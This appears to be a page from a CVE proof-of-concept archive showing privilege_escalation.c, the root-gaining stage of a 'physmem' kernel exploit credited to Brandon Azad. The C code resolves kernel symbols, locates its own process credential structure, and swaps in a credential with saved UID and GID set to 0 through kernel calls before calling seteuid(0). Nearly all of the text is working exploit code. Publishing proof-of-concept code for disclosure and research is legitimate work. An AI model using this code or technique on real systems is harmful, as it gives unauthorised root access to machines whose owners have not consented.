4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / privilege_escalation.c C
/*
 * privilege_escalation.c
 * Brandon Azad
 *
 * Privilege escalation using the physmem exploit.
 *
 * The strategy we use here is designed to be safe and robust. We call the appropriate kernel APIs
 * to allocate a new ucred struct and then set the saved UID and GID to 0. We then replace our
 * current ucred with the new one and release references appropriately. This effectively makes our
 * process setuid 0, and so we can elevate privileges by calling seteuid(0).
 */
#include "privilege_escalation.h"

#include "fail.h"
#include "kernel_image.h"
#include "syscall_hook.h"

#include <unistd.h>

void setuid_root() {
	// Check if we're already root. Otherwise we might panic the system.
	seteuid(0);
	setuid(0);
	setgid(0);
	if (getuid() == 0) {
		return;
	}
	// Resolve the symbols we'll need.
	uint64_t _current_proc           = kernel_symbol("_current_proc");
	uint64_t _copyout                = kernel_symbol("_copyout");
	uint64_t _copyin                 = kernel_symbol("_copyin");
	uint64_t _IOMalloc               = kernel_symbol("_IOMalloc");
	uint64_t _IOFree                 = kernel_symbol("_IOFree");
	uint64_t _kauth_cred_proc_ref    = kernel_symbol("_kauth_cred_proc_ref");
	uint64_t _kauth_cred_setsvuidgid = kernel_symbol("_kauth_cred_setsvuidgid");
	uint64_t _kauth_cred_unref       = kernel_symbol("_kauth_cred_unref");
	// Get a pointer to our proc struct, and copy out the first several words.
	uint64_t proc = kernel_call(_current_proc, 0, 0, 0, 0, 0);
	const unsigned max_idx = 128;
	uint64_t proc_data[max_idx];
	int err = kernel_call(_copyout, proc, (uint64_t)proc_data, sizeof(proc_data), 0, 0);
	if (err) {
		FAIL("copyout failed");
	}
	// Add a reference to our credential structure and get its pointer.
	uint64_t cred = kernel_call(_kauth_cred_proc_ref, proc, 0, 0, 0, 0);
	// Find out the index of the cred pointer in the proc struct.
	unsigned cred_idx = 0;
	for (; cred_idx < max_idx; cred_idx++) {
		if (proc_data[cred_idx] == cred) {
			break;
		}
	}
	if (cred_idx == max_idx) {
		// This means the cred wasn't found in the proc struct. We have no idea where the
		// cred is, so unfortunately we can't pass a pointer to the cred to
		// kauth_cred_unref. We have an extra reference on this cred, but this just means
		// the cred won't be cleaned up when all references are dropped.
		FAIL("could not find kernel credentials in proc struct");
	}
	uint64_t proc_cred_ptr = proc + cred_idx * sizeof(uint64_t);
	// Set the saved UID and GID on the cred to 0. This consumes the reference added in the
	// call to kauth_cred_proc_ref and returns a new credential.
	uint64_t cred0 = kernel_call(_kauth_cred_setsvuidgid, cred, 0, 0, 0, 0);
	// Allocate a pointer in which we can store our current cred to pass to kauth_cred_unref.
	uint64_t cred_ptr = kernel_call(_IOMalloc, sizeof(cred), 0, 0, 0, 0);
	if (cred_ptr == 0) {
		// kauth_cred_setsvuidgid removed a reference on the old cred, so the only thing we
		// need to do is free the new cred. However, we can't allocate memory to pass a
		// pointer to the new cred to kauth_cred_unref. We didn't damage the system, so
		// just accept the fact that we leaked memory.
		FAIL("could not allocate kernel memory");
	}
	// Store a pointer to our old cred in the memory we just allocated.
	err = kernel_call(_copyin, (uint64_t)&cred, cred_ptr, sizeof(cred), 0, 0);
	if (err != 0) {
		// Just like above, we can't pass the new cred to kauth_cred_unref. However, we can
		// free the memory we just allocated.
		kernel_call(_IOFree, cred_ptr, sizeof(cred), 0, 0, 0);
		FAIL("could not write kernel credential pointer into allocated memory");
	}
	// Store the new setuid 0 credentials in our proc.
	err = kernel_call(_copyin, (uint64_t)&cred0, proc_cred_ptr, sizeof(cred0), 0, 0);
	if (err != 0) {
		// We couldn't replace the cred pointer in our proc structure. Ideally we'd free
		// the new (and useless) cred. However, this would require having a pointer to the
		// new cred in the kernel to pass to kauth_cred_unref, which would mean another
		// copyin. Thus, we'll just leak the cred.
		kernel_call(_IOFree, cred_ptr, sizeof(cred), 0, 0, 0);
		FAIL("could not set process credentials");
	}
	// Free the old cred.
	kernel_call(_kauth_cred_unref, cred_ptr, 0, 0, 0, 0);
	kernel_call(_IOFree, cred_ptr, sizeof(cred), 0, 0, 0);
	// Now we are setuid 0. Elevate to root.
	seteuid(0);
	setuid(0);
	setgid(0);
	if (getuid() != 0) {
		FAIL("privilege escalation failed");
	}
}